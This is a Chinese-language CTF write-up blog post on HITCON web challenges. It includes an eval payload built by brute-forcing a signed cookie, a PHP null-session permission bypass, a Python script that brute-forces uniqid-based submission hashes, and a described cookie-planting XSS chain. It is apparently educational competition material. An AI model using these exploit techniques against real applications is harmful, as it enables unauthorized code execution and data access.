比賽都結束兩個禮拜才發有點混

這次 HITCON 本來想說 TSJ 都去當主辦方所以有機會台灣前五

結果隊友各種燒雞所以只有拿到台灣第十,總排名 83

有夠可惜
嗚嗚我的 200 鎂

Web

RCE

題目會發給你一個 signed cookie,如果 cookie 的 content 的長度大於 40 則會拿來 eval
如果小於 40 則會把你原先的 content 後面加一個隨機的 hex 然後丟回來給妳

app.get('/random', function (req, res) {
    let result = null;
    if (req.signedCookies.code.length >= 40) {
        const code = Buffer.from(req.signedCookies.code, 'hex').toString();
        try {
            result = eval(code);
            console.log(result)
        } catch {
            result = '(execution error)';
        }
        res.cookie('code', '', { signed: true })
            .send({ progress: req.signedCookies.code.length, result: `Executing '${code}', result = ${result}` });
    } else {
        res.cookie('code', req.signedCookies.code + randomHex(), { signed: true })
            .send({ progress: req.signedCookies.code.length, result });
    }
});

也就是說我們其實可以直接用 bruteforce 去把我們想要執行的 code 弄出來
最糟只要 16*40=640 次就好
eval(req.query.a)
然後轉成hex
6576616c287265712e71756572792e6129202020

hitcon{random cat executionnnnnnn}

yeeclass

這個題目有點複雜
總之是說一個可以提交作業的系統
並且還有分公開跟非公開的作業
然後每個作業都會有一個 id
只要拿到 id 就能看到作業的內容
然後那個 id 是通過

$id = uniqid($username."_");
$id = hash("sha1", $id);

來生成的
等下再解釋

他還有一個權限系統
分別是學生:-1 助教:0 老師:1
而只有助教以上的權限才能檢視非公開作業的列表

if ($_SESSION["userclass"] < PERM_TA && !$result["public"]) {
            http_response_code(403);
            die("No permission");
        }

並且列表的每一項都會有 submit 的時間

<?php foreach ($result as $row) { ?>
    <tr>
    <?php if ((isset($_SESSION["userid"]) && $_SESSION["userclass"] >= PERM_TA) || $row["userid"] == $_SESSION["userid"]) { ?>
        <td><a href="submission.php?hash=<?= $row['hash'] ?>"><?= $row["name"] ?></a></td>
    <?php } else { ?>
        <td><?= $row["name"] ?></td>
    <?php } ?>
        <td><?= $row["score"] ?? "-" ?></td>
        <td><?= $row["username"] ?></td>
        <td><?= $row["time"] ?></td>
    </tr>
<?php } ?>

而我們的 flag 則就是被放在非公開的作業裡
我們的目的就是要想辦法得到 flag 的 id
那要怎麼做呢?
我們去看一下 PHP 的 uniqid 是怎麼生成的
uniqid 的 doc 下方的留言有人提到

In other words, first 8 hex chars = Unixtime, last 5 hex chars = microseconds

也就是說其實 uniqid 是基於 timestamp 去生成的,所以我們只要找到 flag 的 submit 時間就能找到他的 id
我們再看看前面的 code

$_SESSION["userclass"] < PERM_TA

這一段是有問題的,我們登入的時候他會讓我們 session 的 userclass 變為-1
但是假如我們把 session 刪掉
也就是說這段會變成 NULL < PERM_TA
而經過 PHP 轉型又會變成 0 < PERM_TA
就可以直接 bypass 掉他的檢查
也就是說我們就可以直接看到 flag 的 submit timestamp 了

6381a5b5c952

要注意的是他生成 uniqid 跟 insert 進 SQL 的 timestamp 會有誤差
所以最終還是要透過腳本來爆破

s ='flagholder_6381a5b5c9'
for i in range(0x152):
    h = s+f'{i:03x}'
    hash = hashlib.sha1(h.encode()).hexdigest()
    r = requests.get('http://yeeclass.chal.hitconctf.com:16875/submission.php?hash='+hash)
    print(f'{h}:{r.content}')
    if b'not found' not in r.content:
        break

hitcon{0-To13r4nc3_f0R_h0m3w0rkPl4gi4ri5m:(}

sdm

這題我其實沒解出來
這題他的網站是一個可以貼訊息的網站
並且在查看訊息之後,訊息便會立即刪掉
同時在查看訊息的地方可以 xss
但是 xss 的 input 卻是來自於 cookie

async function load() {
    const id = location.pathname.split('/').pop();
    history.replaceState(null, '', '/');

    const countdown = (await cookieStore.get('time'))?.value || 10;
    const { content } = await fetch(`/api/message/${id}`).then(r => r.json());
    document.getElementById('content').attachShadow({ mode: "closed" }).append(content);
    document.getElementById('countdown').innerHTML = `Destructing in <span style="color:red">${countdown}</span> seconds...`;
        setTimeout(() => location.replace('/'), countdown * 1000);
    }
    window.addEventListener('DOMContentLoaded',load);

他的 bot 會先提交 flag,然後再去逛你給他的網站,最後再去查看 flag

let SITE = "https://sdm.chal.hitconctf.com/"
let url = "https://example.com"
await page.goto(SITE);
await sleep(1);
await page.type("textarea[name='message']", FLAG);
await page.click("#submit");
await sleep(1);
await page.waitForSelector("#link");
const flagUrl = await page.evaluate(() => document.querySelector('#link').textContent);
page.goto(url);
await sleep(1);
page.goto(flagUrl);

但由於他 xss 的點在 cookie,所以讓他去逛自己的網站是沒用的
我沒想到的是,這題是要用前面的題目去讓他設 cookie
由於是同網域的關係才能這樣做
看 DC 上有人說自己是用 yeeclass 去做設 cookie 的動作
最後就能 xss 把 flag 帶出來了
甚至還有人是直接透過 v8 exploit 直接把題目變成 pwn 題

結語

只能說可惜
希望明年再參加的時候可以變超強